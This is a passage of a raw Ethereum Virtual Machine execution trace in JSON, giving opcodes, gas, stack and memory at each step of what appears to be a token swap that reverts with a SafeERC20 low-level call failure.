0000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12471,"op":"POP","gas":77591,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12472,"op":"PUSH1","gas":77589,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12474,"op":"MLOAD","gas":77586,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12475,"op":"RETURNDATASIZE","gas":77583,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12476,"op":"PUSH1","gas":77581,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12478,"op":"NOT","gas":77578,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12479,"op":"PUSH1","gas":77575,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12481,"op":"DUP3","gas":77572,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12482,"op":"ADD","gas":77569,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12483,"op":"AND","gas":77566,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12484,"op":"DUP3","gas":77563,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12485,"op":"ADD","gas":77560,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0x20","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0